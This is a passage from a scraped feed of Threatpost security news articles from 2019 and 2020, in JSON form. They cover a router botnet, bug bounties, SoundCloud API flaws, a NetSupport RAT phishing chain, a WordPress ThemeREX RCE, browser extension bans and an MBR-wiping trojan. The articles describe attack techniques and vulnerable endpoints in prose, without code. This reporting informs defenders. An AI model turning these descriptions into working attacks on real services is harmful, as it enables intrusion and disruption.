that initial assessment, a PoC code for the bug emerged on ExploitDB a day later. And a day after that, on March 19, the firm saw attacks in the wild using the PoC to attempt to spread the Gafgyt botnet. A few days later, the botnet had adopted the PoC as part of a worming attempt to move from router to router. Meanwhile, on March 24, another wave of exploit attempts emerged using the PoC, this time trying to spread the Fbot botnet.\n\n\u201cThe PoC lefts out a crucial prerequisite \u2013 another vulnerability needs to be used together with this PoC for it to work,\u201d researchers explained. \u201cSo, a successful execution of the injected commands will not have the target device compromised.\u201d\n\nMoobot is a new botnet family based on [Mirai botnet](<https://threatpost.com/mirai-enterprise-systems/142889/>), which targets internet of things (IoT) devices. While most IoT botnets go after gear that may have weak or default passwords, Mootbot stands out for its use of zero-day exploits, researchers said. It\u2019s worth noting that the malware [was also seen in March](<https://threatpost.com/hackers-exploited-0-day-cctv-camera/154051/>) using multiple zero days to target LILIN DVR and IP cameras.\n\nThough it didn\u2019t release details of the second success factor in the kill chain, NetLab 360 recommended that to protect against the threat, users that have fiber-based internet access routers should check and update their device firmware, and check whether there are default accounts that should be disabled.\n\nJack Mannino, CEO at nVisium, told Threatpost that the [focus on routers](<https://threatpost.com/thousands-of-mikrotik-routers-hijacked-for-eavesdropping/137165/>) offers attackers certain advantages.\n\n\u201cControlling network infrastructure will always be an appealing attacker goal because of the springboard it provides for launching future attacks,\u201d he said. \u201cAs a software developer, it\u2019s important to consider that the networks your users access your product from may be compromised, and build this into your threat models. Whether it\u2019s the level of access it provides to network traffic, or the chokepoints and amplifiers for DDoS attacks they present, previous botnets, such as Mirai, gave us a glimpse into what these campaigns can achieve. More security teams focus on their Patch Tuesday fixes than updating the devices they frequently expose directly to the internet.\u201d\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n", "cvss3": {}, "published": "2020-04-20T20:51:59", "type": "threatpost", "title": "Mootbot Botnet Targets Fiber Routers with Dual Zero-Days", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-20T20:51:59", "id": "THREATPOST:E95F180BE3CA693890795666169A5F04", "href": "https://threatpost.com/mootbot-fiber-routers-zero-days/154962/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:28:43", "description": "Mozilla is bumping up its bug bounty payouts and has added new websites and services \u2013 including the recently deployed [Firefox Monitor](<https://threatpost.com/mozilla-announces-firefox-monitor-tool-testing-firefox-61/133087/>)\u2013 to its bug bounty program in hopes of attracting more researchers to sniff out vulnerabilities.\n\nThe browser-maker is doubling bug bounty payouts for most of its in-scope sites and services, as well as tripling payouts for the highest bug classification in its program, remote code execution vulnerabilities. Researchers can now [bring in $15,000](<https://www.mozilla.org/en-US/security/web-bug-bounty/>) for RCE flaws on \u201ccritical websites\u201d (sites and services considered critical to Mozilla operations, which pay out at the highest bounty rate) and $5,000 for \u201ccore websites\u201d (which pay out bounties, but at a reduced rate).\n\n\u201cMozilla was one of the first companies to establish a bug bounty program and we continually adjust it so that it stays as relevant now as it always has been,\u201d said Simon Bennetts with Mozilla [in a Tuesday announcement](<https://blog.mozilla.org/security/2019/11/19/updates-to-the-mozilla-web-security-bounty-program/>). \u201cTo celebrate the 15 years of the 1.0 release of Firefox, we are making significant enhancements to the web bug bounty program.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIn addition, Mozilla announced that over the past six months, it has added new in-scope \u201ccritical websites\u201d and services for its program. This includes:\n\n * [Autograph](<https://github.com/mozilla-services/autograph>) \u2013 a cryptographic signature service that signs Mozilla products.\n * [Lando](<https://moz-conduit.readthedocs.io/en/latest/lando-user.html>) \u2013 Mozilla\u2019s automatic code-landing service which allows users to commit Phabricator revisions to their destination repository.\n * [Phabricator](<https://wiki.mozilla.org/Phabricator>) \u2013 a code management tool used for reviewing Firefox code changes.\n * [Taskcluster](<https://docs.taskcluster.net/docs>) the task execution framework that supports Mozilla\u2019s continuous integration and release processes.\n\nMozilla has also offered new Core sites to its program \u2013 including Firefox Monitor, a site where users can register their email address so that they can be informed if their account details are part of a data breach. Firefox Monitor, which made waves after it was announced in 2018 on the heels of Mozilla\u2019s partnership with Cloudflare and Have I Been Pwned (HIBP), went into [testing earlier this year](<https://threatpost.com/mozilla-announces-firefox-monitor-tool-testing-firefox-61/133087/>) and has since been released.\n\nOther added \u201ccore\u201d websites that are now in-scope include:\n\n * [Localization](<https://mozilla-l10n.github.io/localizer-documentation/>) \u2013 a service contributors can use to help localize Mozilla products.\n * [Payment Subscription](<https://github.com/mozilla/subhub>) \u2013 a service that is used as the interface in front of the payment provide (Stripe).\n * [Firefox Private Network](<https://private-network.firefox.com/>) \u2013 a site from which users can download a desktop extension that helps secure and protect connections everywhere Firefox is used.\n * [Ship It](<https://wiki.mozilla.org/ReleaseEngineering/Applications/Ship_It>) \u2013 a system that accepts requests for releases from humans and translates them into information and requests that Mozilla\u2019s Buildbot-based release automation can process.\n * [Speak To Me](<https://github.com/mozilla/speech-proxy>) \u2013 Mozilla\u2019s Speech Recognition API.\n\nMozilla has continually increased rewards for bug bounty vulnerabilities over the years \u2013 the last time [being in 2015](<https://threatpost.com/mozilla-bug-bounty-payouts-going-up/113264/>). Mozilla started its [web bounty program](<https://threatpost.com/behind-numbers-mozillas-bug-bounty-program-092811/75701/>) in December 2010 and offered rewards of up to $3,000 for certain kinds of vulnerabilities reported in those sites.\n\n_**Is MFA enough to protect modern enterprises in the peak era of data breaches? How can you truly secure consumer accounts? Prevent account takeover? Find out: Catch our free, on-demand **_[_**Threatpost webinar**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**, \u201cTrends in Fortune 1000 Breach Exposure\u201d to hear advice from breach expert Chip Witt of SpyCloud. **_[_**Click here to register**_](<https://attendee.gotowebinar.com/register/3127445778613605890?source=post>)_**.**_\n\n**Share this article:**\n\n * [Editor's Picks](<https://threatpost.com/category/editors-picks/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2019-11-20T21:04:32", "type": "threatpost", "title": "Mozilla Bug Bounty Program Doubles Payouts, Adds Firefox Monitor", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2019-11-20T21:04:32", "id": "THREATPOST:BED35CFCFED307909DB60602551982A6", "href": "https://threatpost.com/mozilla-bug-bounty-program-doubles-payouts-adds-firefox-monitor/150489/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:30:31", "description": "Online music platform SoundCloud, which can be thought of as an audio-based YouTube for music creators, has addressed several security bugs in its APIs that could lead to denial-of-service (DoS) or account takeover via credential-stuffing.\n\nSoundCloud recently [sold a $75 million stake](<https://techcrunch.com/2020/02/11/music-streaming-pioneer-soundcloud-raises-75m-from-pandora-owner-siriusxm/>) to satellite radio giant SiriusXM and the two also inked a lucrative ad deal. SoundCloud claims to host 200 million different music tracks on its online platform.\n\nAccording to researcher Paulo Silva of Checkmarx Security Research, three different groups of security vulnerabilities were found in the platform: A authentication issue which could lead to account takeover; a rate-limiting bug that could lead to DoS; and an improper input validation.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe broken authentication issue has to do with not having a set number of login tries before locking someone out of the account \u2013 which opens the door to unlimited brute-force attacks from cybercriminals trying to guess passwords.\n\n\u201cThe /sign-in/password endpoint of api-v2.soundcloud.com does not implement proper account lockout based on failed authentication attempts,\u201d according to Silva, in [an analysis](<https://www.checkmarx.com/blog/checkmarx-research-soundcloud-api-security-advisory>) posted Tuesday. \u201cIt solely relies on rate limiting which can be evaded using several combinations of use_agent, device_id and signature.\u201d\n\nThat means that credential stuffing \u2014 the automated process of verifying that breached pairs of usernames and passwords work for not only the services that they originated from, but also other services \u2014 could have become a real issue. Digital Shadows [recently pointed out](<https://threatpost.com/password-breaches-fueling-booming-credential-stuffing-business/125900/>) that the market for credential stuffing software and services is thriving thanks in large part to an epidemic of breaches of usernames and passwords.\n\nCheckmarx also found a related user enumeration weakness that could be used to verify valid user account IDs as well, making it even easier to hack accounts. An attacker can exploit this to guess account names and then probe whether or not they actually exist.\n\n\u201cBoth /sign-in/identifier and /users/password_reset endpoints of api-v2.soundcloud.com can be used to enumerate user accounts,\u201d explained the firm. \u201cIn both cases, the endpoints provide different responses depending on whether the requested user account identifier exists or not.\u201d\n\nThe rate-limiting issue meanwhile has to do with SoundCloud not limiting how many song results can be retrieved in certain searchers.\n\nFor instance, the /me/play-history/tracks API endpoint, which allows users to view recently played songs, doesn\u2019t enforce rate limiting. Thus, an attacker can send a large number of POST requests from a single machine/IP address, or can use a high-volume GET request to return hundreds of tracks at once. This can not only potentially overwhelm the API if several of these are sent at the same time, but it could also be used to artificially inflate the statistics for demand for certain tracks or artists.\n\n\u201cThe lack of rate limiting may compromise the system availability, making it vulnerable to DoS attacks,\u201d according to Checkmarx. \u201cFrom a business perspective, not limiting the amount of requests to this endpoint may compromise the data integrity, since it may create biased tracks-statistics.\u201d\n\nA related issue has to do with the /tracks endpoint of api-v2.soundcloud.com, which Silva said does not implement proper resources limiting \u2013 also potentially leading to DoS.\n\n\u201cSince no validation is performed regarding the number of tracks IDs in the ids list, it is possible to manipulate the list to retrieve an arbitrary number of tracks in a single request,\u201d he said, adding that in testing, researchers were able to retrieve up to 689 tracks in a single request.\n\n\u201cUsing a specially crafted list of track IDs to maximize the response size, and issuing requests from several sources at the same time to deplete resources in the application layer, will make the target\u2019s system services unavailable,\u201d Silva explained.\n\nThe improper input validation issue meanwhile would allow the attacker to use extra-long character strings when filling in the description, title and genre forms while uploading songs, according to the research. An exploit could make use of this to carry out cross-site scripting attacks or SQL injection.\n\n\u201cThe /tracks/{track_urn} endpoint of api-v2.soundcloud.com does not properly validate and enforce the length of [these] properties,\u201d Silva explained. \u201cIssuing requests directly to the API server puts the attacker in control of an additional 61960 bytes (total of 66160 bytes).\u201d\n\nFor its part, SoundCloud promptly fixed the problem and sent out a statement: \u201cAt SoundCloud, the security of our users\u2019 accounts is extremely important to us. We are always looking for ways to enhance the security of our platform for our users. We appreciate Checkmarx reaching out to discuss their findings.\u201d\n\n**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us **[**Wednesday, Feb. 19 at 2 p.m. ET**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)** when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**\n", "cvss3": {}, "published": "2020-02-12T18:48:59", "type": "threatpost", "title": "SoundCloud Tackles DoS, Account Takeover Issues", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-02-12T18:48:59", "id": "THREATPOST:4A02969D23A7147DEF39EFDE11D3094E", "href": "https://threatpost.com/soundcloud-dos-account-takeover/152838/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:28:08", "description": "The legitimate remote access tool (RAT) called NetSupport Manager, used for troubleshooting and tech support, is being converted into a malicious weapon by cybercriminals. Researchers at Palo Alto Networks\u2019 Unit 42 division have spotted a spam campaign attempting to deliver a malicious Microsoft Word document that uses the disguise of a NortonLifeLock-protected file.\n\nNortonLifeLock is a security utility for password-protecting attachments, among other things. If a recipient opens the document via Microsoft Office Outlook, a prompt appears that asks users to \u201cenable content\u201d to open the document \u2013 clicking \u201cyes\u201d executes macros.\n\n\u201cTo the user, the document appears to contain personal information that requires a password to view,\u201d said researchers, in a [recent analysis](<https://unit42.paloaltonetworks.com/cortex-xdr-detects-netsupport-manager-rat-campaign/>). \u201cOnce the document is opened and the user clicks \u2018Enable Content,\u2019 the macro is executed and the user is presented with a password dialog box.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nResearchers added that the password is likely provided in the body of the phishing email, because it has to be correct; no malicious activity occurs until the correct key is entered. Once the key is accepted, the macros create and execute a batch file called alpaca.bat.\n\n\u201cThe macro obfuscates all strings using multiple labels on Visual Basic for Applications (VBA) forms, which contain two characters that are eventually linked together to construct the final command to download and execute the RAT on the victim,\u201d according to Unit 42. \u201cThe command string is executed via the VBA shell function, which [creates and executes alpaca.bat].\u201d\n\nThe campaign uses a range of tactics to obfuscate its activity from both dynamic and static analysis, according to researchers. For instance, the batch script uses msiexec, which is a legitimate part of the Windows Installer service. It\u2019s used to download and install a Microsoft Intermediate Language (MSIL) binary from a legitimate domain, which has been compromised. Once downloaded, the binary will execute using the /q parameter to suppress any Windows dialogs from the user.\n\nThe campaign also uses the PowerShell PowerSploit framework to carry out the installation of the malicious file activity. The MSI installs a PowerShell script in the victim\u2019s %temp% directory named REgistryMPZMZQYVXO.ps1. This contains another PowerShell script that is responsible for installing the NetSupport Manager RAT onto the victim\u2019s machine.\n\n\u201cThe PowerShell script appears to have been generated using the open-source script Out-EncryptedScript.ps1 from the PowerSploit framework,\u201d according to the analysis. \u201cIt contains a blob of data that is obfuscated via base64 and is TripleDES encrypted with a cipher mode of Cipher Block Chain (CBC).\u201d\n\nThe RAT installer PowerShell script interestingly aborts installation if Avast or AVG Antivirus Software is running on the target machine. If not, it installs 12 files that make up the NetSupport Manager RAT to a random directory and sets up persistence by creating the following registry key: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.\n\n\u201cOnce the main NetSupport Manager executable (presentationhost.exe) is started, it beacons to the domain geo.netsupportsoftware[.]com to retrieve geolocation of the host followed by an HTTP POST,\u201d the researchers wrote.\n\nResearchers said that the campaign is likely part of a larger offensive that dates back to early November, with email subject lines reusing themes associated with refunds, as well as transaction and order inquiries. The attached documents contain the target company\u2019s name.\n\n\u201cMalicious use of the NetSupport Manager remote access tool has also been reported by both [FireEye ](<https://www.fireeye.com/blog/threat-research/2018/04/fake-software-update-abuses-netsupport-remote-access-tool.html>)and [Zscaler ](<https://www.zscaler.com/blogs/research/netsupport-rat-installed-fake-update-notices>)researchers,\u201d researchers concluded. \u201cWhile this activity appears to be broad and at large scale, there are indications, such as the document name, that show the actor\u2019s attempt to provide a stronger relationship to the target in an attempt to increase the success rate.\u201d\n", "cvss3": {}, "published": "2020-03-02T21:59:34", "type": "threatpost", "title": "NetSupport Manager RAT Spread via Bogus NortonLifeLock Docs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-03-02T21:59:34", "id": "THREATPOST:EBE40A69B865E25E52FF87060EDD790F", "href": "https://threatpost.com/netsupport-manager-rat-nortonlifelock-docs/153387/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:27:42", "description": "A critical vulnerability in a WordPress plugin known as \u201cThemeREX Addons\u201d could open the door for remote code execution in tens of thousands of websites. According to Wordfence, the bug has been actively exploited in the wild as a zero-day.\n\nThe plugin, which is installed on approximately 44,000 sites, is used to apply various \u201cskins\u201d that govern the look and feel of web destinations, including theme-enhancing features and widgets.\n\nTo provide compatibility with WordPress\u2019 Gutenberg plugin, the ThemeREX Addons plugin uses an API, according to Wordfence researcher Chloe Chamberland, writing in [a blog posting](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) on Monday. When the API interacts with Gutenberg, the touchpoints of that communication are known as endpoints. ThemeREX uses the \u201c~/includes/plugin.rest-api.php\u201d file to register an endpoint (\u201c/trx_addons/v2/get/sc_layout\u201d), which in turn calls the \u201ctrx_addons_rest_get_sc_layout\u201d function.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThis introduces an access-control problem, the researcher noted. In unpatched versions of ThemeREX, \u201cthere were no capability checks on this endpoint that would block users that were not administrators or currently signed in, so any user had the ability to call the endpoint regardless of capability,\u201d she explained. \u201cIn addition, there was no nonce check to verify the authenticity of the source.\u201d\n\nFurther down in the code, there\u2019s also a functionality used to get parameters from widgets that work with the Gutenberg plugin.\n\n\u201cThis is where the core of the remote code execution vulnerability was present,\u201d Chamberland wrote. \u201cThere were no restrictions on the PHP functions that could be used or the parameters that were provided as input. Instead, we see a simple if (function_exists($sc)) allowing for any PHP function to be called and executed.\u201d\n\nThe upshot of this is that adversaries can use various WordPress functions \u2013 for instance, in attacks in the wild, the \u201cwp_insert_user\u201d function was used to create administrative user accounts and take over sites, according to the research.\n\nThemeREX has now addressed the issue by completely removing the affected ~/plugin.rest-api.php file from the plugin \u2013 users should update to the latest version to stay protected.\n\nWordPress plugins continue to be a rich avenue of attack for cybercriminals. Last month, popular WordPress plugin Duplicator, which has more than 1 million active installations, [was discovered to have](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) an unauthenticated arbitrary file download vulnerability that was being attacked.\n\nAnd, earlier in February a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) [was disclosed](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>); it could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.\n\n**_Interested in security for the Internet of Things and how 5G will change things? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-10T20:30:36", "type": "threatpost", "title": "Popular ThemeREX WordPress Plugin Opens Websites to RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-03-10T20:30:36", "id": "THREATPOST:CEFF4DB144B2E463CD3FB46A8A93EEF8", "href": "https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:25:35", "description": "UPDATE\n\nBoth the Google Chrome and Mozilla Firefox teams are cracking down on web browser extensions that steal user data and execute remote code, among other bad actions.\n\nBrowser extensions are add-ons that users can install to enhance their web surfing experience \u2013 they offer the ability to do everything from setting a special search wallpaper to displaying continuous weather data to language translation. This group also includes things such as ad blockers and security scanning.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWhile extensions are useful, they can also introduce danger. In addition to [intentionally malicious](<https://threatpost.com/malicious-browser-add-guides-victims-phishing-sites-112912/77262/>) browser extensions that compromise users, legitimate offerings are also common targets for cybercriminals who [look to exploit vulnerabilities](<https://threatpost.com/cisco-webex-browser-bug/143285/>) in their code.\n\n## Google Bans Paid Extensions\n\nIn this case, Google said that after becoming aware of a widespread pattern of pernicious behavior on the part of a large number of Chrome extensions, it has disabled extensions that contain a monetary component \u2013 those that are paid for, offer in-browser transactions and those that offer subscription services. It\u2019s a temporary measure, according to the internet giant \u2013 but one that doesn\u2019t yet have a timeline for resolution.\n\n\u201cEarlier this month the Chrome Web Store team detected a significant increase in the number of fraudulent transactions involving paid Chrome extensions that aim to exploit users,\u201d it [said in a notice](<https://groups.google.com/a/chromium.org/forum/#!topic/chromium-extensions/EW0VuDjZSO4>), issued Friday. \u201cDue to the scale of this abuse, we have temporarily disabled publishing paid items. This is a temporary measure meant to stem this influx as we look for long-term solutions to address the broader pattern of abuse.\u201d\n\n[![Top 5 Paid Chrome Extensions \$All Now Banned\$](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/27133106/google-paid-extensions-300x90.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/27133106/google-paid-extensions.png>)\n\nClick to Enlarge: Top 5 Paid Chrome Extensions\n\nThe notice added, \u201cWe are working to resolve this as quickly as possible, but we do not have a resolution timeline at the moment. Apologies for the inconvenience.\u201d\n\nRejections will carry a \u201cSpam and Placement in the Store\u201d tag, the Google team told developers. Rejections can be appealed and will be reviewed, it noted.\n\nThe impact could be minimal. According to [data from Extension Monitor](<https://extensionmonitor.com/blog/breaking-down-the-chrome-web-store-part-1>) published mid-2019, there are about 188,000 extensions in the Chrome Web Store, out of which only about 9 percent (16,718) fall into the paid category. Paid add-ons also account for less than 2.6 percent of the more than 1 billion total extension installs logged in the research. The top five paid extensions make up about half (48.5 percent) of that number, with IE Tab dominating at 4.1 million installs (31.5 percent). About 35 percent of paid extensions (5,885) don\u2019t have any users at all.\n\n_**Updated 9:30 a.m. ET on Jan. 28: Threatpost has reached out to Google for clarification on whether existing paid extensions have been taken down, or if the policy applies only to updates and new submissions.**_\n\n## Mozilla Cleans House\n\nMozilla meanwhile has taken a more case-by-case tack, disabling 197 Firefox add-ons in total for a range of improper activity, as first [reported by ZDnet](<https://www.zdnet.com/article/mozilla-has-banned-nearly-200-malicious-firefox-add-ons-over-the-last-two-weeks/>). This includes remote code-execution and harvesting user data. The add-ons have not only been removed from the official Mozilla Add-on (AMO) portal, but have been disabled in the browsers of existing installs.\n\nThe disabled apps include a whopping 129 extensions from 2Ring, which offers extensions and add-ons that provide business-to-business functionality for unified communications and contact centers. It\u2019s a Cisco Preferred Partner, and it [says on its website](<https://www.2ring.com/products/>) that it has \u201ca roadmap aligned with Cisco\u2019s collaboration portfolio and with solutions that their system engineers can deploy repeatedly and support with ease.\u201d\n\nThreatpost reached out to 2Ring for comment. Meanwhile, \u201cI\u2019ve reviewed the add-ons and confirmed they are executing remote code,\u201d according to the bug tracker on the issue.\n\nThat\u2019s not to say the extensions were intentionally malicious. Mozilla\u2019s policy is that extensions that dynamically fetch code from elsewhere, legitimate or otherwise, are in violation of its [content security policy](<https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy>).\n\nThe blocked extensions uncovered by ZDnet also include [six add-ons](<https://bugzilla.mozilla.org/show_bug.cgi?id=1609718>) deemed to be executing remote code, which were developed by Tamo Junto Caixa. [Tamo Junto](<https://aliancaempreendedora.org.br/tamojunto/faq/>) is a banking entity that offers Brazilian microentrepreneurs online courses, video classes, articles and management tools.\n\nOther browser extensions, like Rolimons Plus (an extension linked to the Roblox online multiplayer video game), [was blocked](<https://bugzilla.mozilla.org/show_bug.cgi?id=1608432>) for \u201ccollecting ancillary user data against our policies,\u201d while others (unnamed in the bug ticket) [were banned](<https://bugzilla.mozilla.org/show_bug.cgi?id=1610462>) for \u201cshowing malicious behavior on third-party websites.\u201d Still others, including [three unnamed add-ons](<https://bugzilla.mozilla.org/show_bug.cgi?id=1610456>), were determined to be \u201cfake premium products.\u201d\n\nAs with Google Chrome, Mozilla developers are able to appeal the bans.\n\nAt least one researcher said that the actions are likely the fruit of heightened concerns and regulations around privacy, including the California Consumer Privacy Act (CCPA).\n\n\u201cIn the [post-CCPA/GDPR world](<https://threatpost.com/californias-tough-new-privacy-law-and-its-biggest-challenges/151682/>), tech companies are paying greater attention to the risks that software poses to users,\u201d said Mike Bittner, associate director of Digital Security and Operations for The Media Trust, via email. \u201cMuch of the risks stem from having no control over what impact code will have on the security and privacy of user personal data. Until tech companies know who\u2019s running what code in the various components that make up extensions and other forms of software, the risk of fraud and theft will remain high, as will the risk of running afoul of these new privacy laws.\u201d\n", "cvss3": {}, "published": "2020-01-27T21:26:55", "type": "threatpost", "title": "Google, Mozilla Ban Hundreds of Browser Extensions in Chrome, Firefox", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-01-27T21:26:55", "id": "THREATPOST:6F4D076CD2B99D42353A5547FDBB288C", "href": "https://threatpost.com/google-mozilla-ban-browser-extensions-chrome-firefox/152257/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:51", "description": "A new Windows malware has emerged that makes disks unusable by overwriting the master boot record (MBR). It takes its cue from the COVID-19 pandemic, calling itself simply \u201cCoronavirus.\u201d\n\nOverwriting the MBR is the same trick that the infamous NotPetya wiper malware used in 2017 in a campaign that caused widespread, [global financial damage](<https://threatpost.com/pharmaceutical-giant-still-feeling-notpetyas-sting/127130/>).\n\nWorryingly, according to the SonicWall Capture Labs Threat Research team, the fresh malware strain is also a destructive trojan \u2014 though not as destructive as other wipers. And like its namesake, there\u2019s no obvious cure. In [a posting on Tuesday](<https://securitynews.sonicwall.com/xmlpost/coronavirus-trojan-overwriting-the-mbr/>), researchers explained that victims of the Coronavirus trojan find themselves with a gray screen and a blinking cursor with a simple message, \u201cYour computer has been trashed.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe novel coronavirus, and the disease it causes, COVID-19, has provided a depth of fodder for cybercriminals looking to capitalize on the global concern around the pandemic. For instance, a recent spate of phishing attacks has used [the promise of financial relief](<https://threatpost.com/coronavirus-financial-relief-phishing-spike/154358/>) due to the disease as a lure. However, the operator behind this malware takes it one step further, going so far as to take the coronavirus as its name and infection theme.\n\nAs far as that infection routine, the malware can be delivered in any of the usual ways \u2013 as a malicious email attachment, file download, fake application and so on.\n\nUpon execution, the malware starts its process by installing a number of helper files, which are placed in a temporary folder. The malware cleaves tight to its pandemic theme: An installer (a helper file named \u201ccoronavirus.bat\u201d) sets up the attack by creating a hidden folder named \u201cCOVID-19\u201d on the victim machine. The previously dropped helper files are then moved there, in an effort to go unnoticed until its goal is achieved.\n\nAfter that, the installer disables Windows Task Manager and User Access Control (UAC) in a further stab at obfuscation, according to the analysis. It also changes the victim\u2019s wallpaper, and disables options to add or modify that wallpaper after the change is made. It also adds entries in registry for persistence, and then sets about rebooting to finish the installation.\n\nThe process run.exe creates a batch file named run.bat to ensure the registry modifications done by \u201ccoronavirus.bat\u201d are kept intact during the reboot process, according to SonicWall.\n\nAfter reboot, the infection executes two binaries. One, \u201cmainWindow.exe,\u201d displays a window with a picture of the coronavirus itself, with two buttons. At the top of the window, the victim is notified that \u201ccoronavirus has infected your PC!\u201d\n\nThe two buttons read \u201cRemove virus\u201d and \u201cHelp.\u201d The former does nothing when clicked; the latter brings up a pop-up that tells victims to \u201cnot wast [sic] your time\u201d because \u201cyou can\u2019t terminate this process!\u201d\n\nThe other binary carries out the meat of the attack: It\u2019s responsible for overwriting the MBR.\n\n\u201cThe original MBR is first backed up in the first sector before it is overwritten with new one, [and the] MBR is overwritten with the new code,\u201d according to the researchers.\n\nOnce the overwrite is complete, the victim\u2019s display is changed to a simple grey screen delivering the bad news:\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/01164031/corona-trojan-grey-screen.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/01164031/corona-trojan-grey-screen.png>)\n\nSonicWall told Threatpost in an email interview that it was able to analyze the sample after it was uploaded to VirusTotal. Thus, so far, there haven\u2019t been many instances of \u201cCoronavirus\u201d observed in the wild, and little in known in terms of targeting or what the spreading mechanisms are for the mysterious new malware.\n\nThe team also told Threatpost that the good news is that this is not as dangerous as other wiper strains.\n\n\u201cEven if the MBR is not restored\u2026data can still be accessed/recovered by mounting the drive,\u201d the firm noted. \u201cThe MBR [also] can be potentially restored, but it is not easy and [requires deep technical knowledge](<https://neosmart.net/wiki/fix-mbr/>).\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-01T21:07:22", "type": "threatpost", "title": "Wiper Malware Called \"Coronavirus\" Spreads Among Windows Victims", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-01T21:07:22", "id": "THREATPOST:F18124E38523CE6CF73ACDCF7DBF78BC", "href": "https://threatpost.com/wiper-malware-coronavirus-windows-victims/154368/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:52", "description": "A pair of security vulnerabilities in the WordPress search engine optimization (SEO) plugin, known as Rank Math, could allow remote cybercriminals to elevate privileges and install malicious redirects onto a target site, according to researchers. It\u2019s a WordPress plugin with more than 200,000 installations.\n\nAccording to researchers with Wordfence, one of the flaws is critical (10 out of 10 on the CVSSv3 vulnerability severity scale). It could allow an unauthenticated attacker to update arbitrary metadata. This can be abused to grant or revoke administrative privileges for any registered user on the site.\n\nThe second vulnerability is characterized as high-severity (7.4 on the severity scale) and could enable an 